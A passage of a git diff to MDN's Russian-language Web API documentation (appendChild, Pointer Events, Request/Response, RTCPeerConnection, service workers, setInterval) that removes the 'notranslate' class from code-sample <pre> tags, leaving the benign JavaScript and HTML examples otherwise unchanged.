you can get an estimate of connection speed through the {{domxref("NetworkInformation.effectiveType")}} property.</p> -<pre class="brush: js notranslate">let preloadVideo = true; +<pre class="brush: js">let preloadVideo = true; var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; if (connection) { if (connection.effectiveType === 'slow-2g') { diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html index ee3bde8fce..c36bb32af5 100644 --- a/files/ru/web/api/node/appendchild/index.html +++ b/files/ru/web/api/node/appendchild/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Node/appendChild <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var child = <em>element</em>.appendChild(<em>child</em>);</pre> +<pre class="syntaxbox">var child = <em>element</em>.appendChild(<em>child</em>);</pre> <ul> <li><code>element</code> родительский <a href="/en-US/docs/DOM/element" title="/en-US/docs/DOM/element">элемент</a>.</li> @@ -39,13 +39,13 @@ translation_of: Web/API/Node/appendChild <p>Цепочка может работать не так, как ожидалось, из-за того, что <code>appendChild()</code> возвращает дочерний элемент:</p> -<pre class="brush: js notranslate">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre> +<pre class="brush: js">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre> <p>Присваивает переменной <code>aBlock</code> элемент <code><b></b></code>, а не <code><block></block></code>, как вы могли ожидать.</p> <h2 id="Example">Пример</h2> -<pre class="brush:js notranslate">// Создаём новый элемент параграфа, и вставляем в конец document body +<pre class="brush:js">// Создаём новый элемент параграфа, и вставляем в конец document body var p = document.createElement("p"); document.body.appendChild(p);</pre> diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 3ac365ba5d..c0b75b5670 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -71,7 +71,7 @@ original_slug: Web/API/Видимость_страницы_API <p>The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code:</p> -<pre class="brush: js notranslate">// Set the name of the hidden property and the change event for visibility +<pre class="brush: js">// Set the name of the hidden property and the change event for visibility var hidden, visibilityChange; if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support hidden = "hidden"; @@ -145,7 +145,7 @@ if (typeof document.addEventListener === "undefined" || hidden === undefined) { <dd>An {{domxref("EventListener")}} providing the code to be called when the {{event("visibilitychange")}} event is fired.</dd> </dl> -<pre class="brush: js notranslate">//startSimulation and pauseSimulation defined elsewhere +<pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere function handleVisibilityChange() { if (document.hidden) { pauseSimulation(); diff --git a/files/ru/web/api/pointer_events/index.html b/files/ru/web/api/pointer_events/index.html index 1d74bcf4aa..c6a57b7a95 100644 --- a/files/ru/web/api/pointer_events/index.html +++ b/files/ru/web/api/pointer_events/index.html @@ -160,7 +160,7 @@ translation_of: Web/API/Pointer_events <p>В этом примере определённому элементу назначаются обработчики каждого типа события.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function over_handler(event) { } function enter_handler(event) { } @@ -198,7 +198,7 @@ translation_of: Web/API/Pointer_events <p>Этот пример демонстрирует доступ ко всем свойствам события касания.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> var id = -1; @@ -345,7 +345,7 @@ translation_of: Web/API/Pointer_events <p>The following example shows pointer capture being set on an element.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function downHandler(ev) { let el = document.getElementById("target"); @@ -366,7 +366,7 @@ translation_of: Web/API/Pointer_events <p>The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function downHandler(ev) { let el = document.getElementById("target"); @@ -401,7 +401,7 @@ translation_of: Web/API/Pointer_events <p>In the following example, the browser's default touch behavior is disabled for the <code>div</code> element.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body> <div style="touch-action:none;">Can't touch this ... </div> </body> @@ -410,14 +410,14 @@ translation_of: Web/API/Pointer_events <p>In the following example, default touch behavior is disabled for some <code>button</code> elements.</p> -<pre class="brush: css notranslate">button#tiny { +<pre class="brush: css">button#tiny { touch-action: none; } </pre> <p>In the following example, when the <code>target</code> element is touched, it will only pan in the horizontal direction.</p> -<pre class="brush: css notranslate">#target { +<pre class="brush: css">#target { touch-action: pan-x; } </pre> diff --git a/files/ru/web/api/request/index.html b/files/ru/web/api/request/index.html index 7245130a9e..ddf3cef81b 100644 --- a/files/ru/web/api/request/index.html +++ b/files/ru/web/api/request/index.html @@ -94,7 +94,7 @@ translation_of: Web/API/Request <p>In the following snippet, we create a new request using the <code>Request()</code> constructor (for an image file in the same directory as the script), then return some property values of the request:</p> -<pre class="brush: js notranslate">const request = new Request('https://www.mozilla.org/favicon.ico'); +<pre class="brush: js">const request = new Request('https://www.mozilla.org/favicon.ico'); const URL = request.url; const method = request.method; @@ -103,7 +103,7 @@ const credentials = request.credentials; <p>You could then fetch this request by passing the <code>Request</code> object in as a parameter to a {{domxref("WindowOrWorkerGlobalScope.fetch()")}} call, for example:</p> -<pre class="brush: js notranslate">fetch(request) +<pre class="brush: js">fetch(request) .then(response => response.blob()) .then(blob => { image.src = URL.createObjectURL(blob); @@ -111,7 +111,7 @@ const credentials = request.credentials; <p>In the following snippet, we create a new request using the <code>Request()</code> constructor with some initial data and body content for an api request which need a body payload:</p> -<pre class="brush: js notranslate">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'}); +<pre class="brush: js">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'}); const URL = request.url; const method = request.method; @@ -127,7 +127,7 @@ const bodyUsed = request.bodyUsed; <p>Вы можете получить этот запрос API, передав объект Request в качестве параметра для вызова {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, например, и получить ответ:</p> -<pre class="brush: js notranslate">fetch(request) +<pre class="brush: js">fetch(request) .then(response => { if (response.status === 200) { return response.json(); diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index e32d4d23b9..969c6d288f 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -93,7 +93,7 @@ translation_of: Web/API/Response <p>You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements Body) to give the response its correct MIME type.</p> -<pre class="brush: js notranslate">const image = document.querySelector('.my-image'); +<pre class="brush: js">const image = document.querySelector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { @@ -103,13 +103,13 @@ fetch('flowers.jpg').then(function(response) { <p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p> -<pre class="brush: js notranslate">const response = new Response();</pre> +<pre class="brush: js">const response = new Response();</pre> <h3 id="Ajax_запрос">Ajax запрос</h3> <p>Здесь мы с помощью функции doAjax вызываем PHP скрипт, который генерирует JSON строку, и возвращает распарсенный JSON в виде JavaScript объекта. Также реализована простая обработка ошибок.</p> -<pre class="brush: js notranslate">// Функция, которая делает Ajax запрос +<pre class="brush: js">// Функция, которая делает Ajax запрос const doAjax = async () => { const response = await fetch('Ajax.php'); // Генерируем объект Response if (response.ok) { diff --git a/files/ru/web/api/response/response/index.html b/files/ru/web/api/response/response/index.html index 033d5fd08b..4f5c98692b 100644 --- a/files/ru/web/api/response/response/index.html +++ b/files/ru/web/api/response/response/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Response/Response <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre> +<pre class="syntaxbox">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -45,7 +45,7 @@ translation_of: Web/API/Response/Response <p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">Fetch Response example</a> (see <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response live</a>) we create a new <code>Response</code> object using the constructor, passing it a new {{domxref("Blob")}} as a body, and an init object containing a custom <code>status</code> and <code>statusText</code>:</p> -<pre class="brush: js notranslate">var myBlob = new Blob(); +<pre class="brush: js">var myBlob = new Blob(); var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" }; var myResponse = new Response(myBlob,init);</pre> diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index ac8aca39be..ec6d3f43cd 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre> +<pre class="syntaxbox"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre> <h3 id="Значение">Значение</h3> @@ -29,7 +29,7 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); // Следующий код может быть использован для обработки предложения от пира, когда // он не знает поддерживает ли он просачивание pc.setRemoteDescription(remoteOffer) diff --git a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html index 146332e983..84a6b0ca74 100644 --- a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html +++ b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/RTCPeerConnection/connectionState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre> +<pre class="syntaxbox">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre> <h3 id="Значение">Значение</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/RTCPeerConnection/connectionState <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration); +<pre class="brush: js">var pc = new RTCPeerConnection(configuration); /* ... */ diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index 3b094fd432..054c4b49c5 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre> +<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -25,7 +25,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription <p>В этом примере рассматривается свойство <code>currentLocalDescription</code> и отображается предупреждение, содержащее свойства объекта {{domxref("RTCSessionDescription")}} <code>type</code> и <code>sdp</code> .</p> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); … var sd = pc.currentLocalDescription; if (sd) { diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index 2b6aef35ae..b03d5ecfbf 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre> +<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -25,7 +25,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <p>Пример рассматривает свойство <code>currentRemoteDescription</code> и отображает предупреждение, содержащее значения свойств <code>type</code> и <code>sdp</code> ,объекта {{domxref("RTCSessionDescription")}}.</p> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); … var sd = pc.currentRemoteDescription; if (sd) { diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 4cf9d46d46..781f299272 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -36,7 +36,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> -<pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) => { +<pre class="brush: js">rtcPeerConnection.onicecandidate = (event) => { if (event.candidate) { sendCandidateToRemotePeer(event.candidate) } else { @@ -63,7 +63,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>If you need to perform any special actions when there are no further candidates expected, you're much better off watching the ICE gathering state by watching for {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} events:</p> -<pre class="brush: js notranslate">pc.addEventListener("icegatheringstatechange", ev => { +<pre class="brush: js">pc.addEventListener("icegatheringstatechange", ev => { switch(pc.iceGatheringState) { case "new": /* gathering is either just starting or has been reset */ @@ -88,7 +88,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>First, an example using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p> -<pre class="brush: js notranslate">pc.addEventListener("icecandidate", ev => { +<pre class="brush: js">pc.addEventListener("icecandidate", ev => { if (ev.candidate) { sendMessage({ type: "new-ice-candidate", @@ -100,7 +100,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>You can also set the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property directly:</p> -<pre class="brush: js notranslate">pc.onicecandidate = ev => { +<pre class="brush: js">pc.onicecandidate = ev => { if (ev.candidate) { sendMessage({ type: "new-ice-candidate", diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 2073990cd1..36609588b4 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">pc = new RTCPeerConnection([<em>configuration</em>]);</pre> +<pre class="syntaxbox">pc = new RTCPeerConnection([<em>configuration</em>]);</pre> <h3 class="syntaxbox" id="Параметры">Параметры</h3> diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html index d25a516e56..5042cccf4b 100644 --- a/files/ru/web/api/service_worker_api/using_service_workers/index.html +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -66,7 +66,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <h4 id="sync">sync</h4> -<pre class="brush: js notranslate">try { +<pre class="brush: js">try { const value = myFunction(); console.log(value); } catch(err) { @@ -75,7 +75,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <h4 id="async">async</h4> -<pre class="brush: js notranslate">myFunction().then((value) => { +<pre class="brush: js">myFunction().then((value) => { console.log(value); }).catch((err) => { console.log(err); @@ -89,7 +89,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>{{note("Реальные реализации сервис-воркеров скорее всего будут использовать <code>onfetch</code>, а не устаревающий XMLHttpRequest API. Эти возможности не используются здесь, так что можете сосредоточиться на изучении промисов.")}}</p> -<pre class="brush: js notranslate">const imgLoad = (url) => { +<pre class="brush: js">const imgLoad = (url) => { return new Promise((resolve, reject) => { var request = new XMLHttpRequest(); request.open('GET', url); @@ -115,7 +115,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> -<pre class="brush: js notranslate">let body = document.querySelector('body'); +<pre class="brush: js">let body = document.querySelector('body'); let myImage = new Image(); imgLoad('myLittleVader.jpg').then((response) => { @@ -161,7 +161,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Ниже представлен первый блок кода файла app.js. Это точка входа в Service Worker.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'}) .then((reg) => { // регистрация сработала @@ -224,7 +224,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L17">первый блок кода, который вы увидите в нашем сервис-воркере</a>:</p> -<pre class="brush: js notranslate">self.addEventListener('install', (event) => { +<pre class="brush: js">self.addEventListener('install', (event) => { event.waitUntil( caches.open('v1').then((cache) => { return cache.addAll([ @@ -268,7 +268,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Вы можете подключить к сервис-воркеру обработчик события <code>fetch</code> и внутри него на объекте события вызвать метод <code>respondWith()</code>, чтобы заменить ответы и показать собственную "магию".</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( // магия происходит здесь ); @@ -277,7 +277,7 @@ imgLoad('myLittleVader.jpg').then((response) => { <p>Для начала, на каждый сетевой запрос мы можем отдать в ответ ресурс, чей url соответствует запросу:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request) ); @@ -291,29 +291,29 @@ imgLoad('myLittleVader.jpg').then((response) => { <li> <p>Конструктор <code>{{domxref("Response.Response","Response()")}}</code> позволяет вам создавать собственные ответы. В данном случае, мы всего лишь возвращаем простую текстовую строку:</p> - <pre class="brush: js notranslate">new Response('Hello from your friendly neighbourhood service worker!'); + <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!'); </pre> <p>В этом более сложном объекте Response показано, как вы можете передать набор заголовков в свой ответ, эмулируя стандартный HTTP-ответ. Здесь мы просто сообщаем браузеру, чем является содержимое ответа:</p> - <pre class="brush: js notranslate">new Response('<p>Hello from your friendly neighbourhood service worker!</p>', { + <pre class="brush: js">new Response('<p>Hello from your friendly neighbourhood service worker!</p>', { headers: { 'Content-Type': 'text/html' } });</pre> </li> <li> <p>Если совпадение не было найдено в кеше, вы можете попросить браузер {{domxref("GlobalFetch.fetch","загрузить")}} тот же ресурс, чтобы получить новый файл через обычную сеть, если она доступна:</p> - <pre class="brush: js notranslate">fetch(event.request);</pre> + <pre class="brush: js">fetch(event.request);</pre> </li> <li> <p>Если информация, соответствующая запросу, в кеше не найдена, а также сеть не доступна, то вы можете просто ответить на запрос какой-либо страницей по умолчанию, которая хранится в кеше, используя {{domxref("CacheStorage.match","match()")}}:</p> - <pre class="brush: js notranslate">caches.match('./fallback.html');</pre> + <pre class="brush: js">caches.match('./fallback.html');</pre> </li> <li> <p>Вы можете получить больше информации о каждом запросе, используя для этого свойства объекта {{domxref("Request")}}, который можно получить как свойство объекта {{domxref("FetchEvent")}}:</p> - <pre class="brush: js notranslate">event.request.url + <pre class="brush: js">event.request.url event.request.method event.request.headers event.request.body</pre> @@ -326,7 +326,7 @@ event.request.body</pre> <p>К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((response) => { return response || fetch(event.request); @@ -338,7 +338,7 @@ event.request.body</pre> <p>Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в офлайн-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((resp) => { return resp || fetch(event.request).then((response) => { @@ -357,7 +357,7 @@ event.request.body</pre> <p>У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:</p> -<pre class="brush: js notranslate">self.addEventListener('fetch', (event) => { +<pre class="brush: js">self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request).then((resp) => { return resp || fetch(event.request).then((response) => { @@ -382,7 +382,7 @@ event.request.body</pre> <p>Вы можете обновить обработчик события install в новой версии сервис-воркера, чтобы получить примерно такое (обратите внимание на номер новой версии):</p> -<pre class="brush: js notranslate">self.addEventListener('install', (event) => { +<pre class="brush: js">self.addEventListener('install', (event) => { event.waitUntil( caches.open('v2').then((cache) => { return cache.addAll([ @@ -410,7 +410,7 @@ event.request.body</pre> <p>Promise, переданный в <code>waitUntil()</code>, заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие <code>fetch</code> на основе нового кеша.</p> -<pre class="brush: js notranslate">self.addEventListener('activate', (event) => { +<pre class="brush: js">self.addEventListener('activate', (event) => { var cacheKeeplist = ['v2']; event.waitUntil( diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 94252afb85..20730c4c35 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">ServiceWorkerContainer.register(scriptURL, options) +<pre class="brush: js">ServiceWorkerContainer.register(scriptURL, options) .then(function(ServiceWorkerRegistration) { ... });</pre> <h3 id="Параметры">Параметры</h3> @@ -37,7 +37,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <p>Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать <code>example.com/index.html</code> и страницы, расположенные "глубже", например <code>example.com/product/description.html</code>.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта // за счёт использования дефолтного scope (не указывая его) navigator.serviceWorker.register('/sw.js').then(function(registration) { @@ -52,7 +52,7 @@ translation_of: Web/API/ServiceWorkerContainer/register <p>Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице <code>example.com/product/description.html</code>, то scope <code>./</code> будет означать, что service worker работает только со страницами внутри <code>example.com/product</code>. Если необходимо зарегистрировать service worker на <code>example.com/product/description.html</code>, и вы хотите, чтобы он обслуживал и корень, <code>example.com</code>, то scope лучше не указывать совсем, как в примере выше.</p> -<pre class="brush: js notranslate">if ('serviceWorker' in navigator) { +<pre class="brush: js">if ('serviceWorker' in navigator) { // Регистрация service worker-а, расположенного в корне сайта // с указанием более строгого scope navigator.serviceWorker.register('/sw.js', {scope: './'}).then(function(registration) { diff --git a/files/ru/web/api/setinterval/index.html b/files/ru/web/api/setinterval/index.html index 48763d06aa..7267237b16 100644 --- a/files/ru/web/api/setinterval/index.html +++ b/files/ru/web/api/setinterval/index.html @@ -10,7 +10,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setInterval <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]); +<pre class="syntaxbox"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]); <em>var intervalID</em> = scope.setInterval(<em>code</em>, <em>delay</em>); </pre> @@ -45,7 +45,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/setInterval <p>The following example demonstrates <code>setInterval()</code>'s basic syntax.</p> -<pre class="brush:js notranslate">var intervalID = window.setInterval(myCallback, 500); +<pre class="brush:js">var intervalID = window.setInterval(myCallback, 500); function myCallback() { // Your code here @@ -56,7 +56,7 @@ function myCallback() { <p>В следующем примере вызывается функция <code>flashtext()</code> раз в секунду, до того момента, как будет нажата кнопка Stop.</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -95,7 +95,7 @@ function myCallback() { <p>The following example simulates typewriter by first clearing and then slowly typing content into the <a href="/en-US/docs/DOM/NodeList"><code>NodeList</code></a> that matches a specified group of selectors.</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -258,7 +258,7 @@ Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac an <p>As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either <code>setTimeout()</code> or <code>setInterval()</code>. The following <strong>IE-specific</strong> code demonstrates a method for overcoming this limitation. To use, simply add the following code to the top of your script.</p> -<pre class="brush:js notranslate">/*\ +<pre class="brush:js">/*\ |*| |*| IE-specific polyfill that enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (HTML5 standard syntax). @@ -299,11 +299,11 @@ if (document.all && !window.setInterval.isPolyfill) { <p>Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:</p> -<pre class="brush:js notranslate">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre> +<pre class="brush:js">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre> <p>Another possibility is to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p> -<pre class="brush:js notranslate">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre> +<pre class="brush:js">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre> <p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p> @@ -317,7 +317,7 @@ if (document.all && !window.setInterval.isPolyfill) { <p>Code executed by <code>setInterval()</code> runs in a separate execution context than the function from which it was called. As a consequence, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> keyword for the called function is set to the <code>window</code> (or <code>global</code>) object, it is not the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example (which uses <code>setTimeout()</code> instead of <code>setInterval()</code> – the problem, in fact, is the same for both timers):</p> -<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two']; +<pre class="brush:js">myArray = ['zero', 'one', 'two']; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); @@ -341,7 +341,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error <p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones that enable their invocation through the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p> -<pre class="brush:js notranslate">// Enable the passage of the 'this' object through the JavaScript timers +<pre class="brush:js">// Enable the passage of the 'this' object through the JavaScript timers var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval; @@ -363,7 +363,7 @@ window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentTo <p>Новое тестируемое свойство:</p> -<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two']; +<pre class="brush:js">myArray = ['zero', 'one', 'two']; myArray.myMethod = function (sProperty) { alert(arguments.length > 0 ? this[sProperty] : this); @@ -386,7 +386,7 @@ setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 s <h3 id="minidaemon.js">minidaemon.js</h3> -<pre class="brush:js notranslate">/*\ +<pre class="brush:js">/*\ |*| |*| :: MiniDaemon :: |*| @@ -516,7 +516,7 @@ MiniDaemon.prototype.start = function (bReverse) { <p>Ваша HTML страница:</p> -<pre class="brush:html notranslate"><!DOCTYPE html> +<pre class="brush:html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> @@ -567,7 +567,7 @@ MiniDaemon.prototype.start = function (bReverse) { <p>In these cases, a recursive <code>setTimeout()</code> pattern is preferred:</p> -<pre class="brush:js notranslate">(function loop(){ +<pre class="brush:js">(function loop(){ setTimeout(function() { // Your logic here diff --git 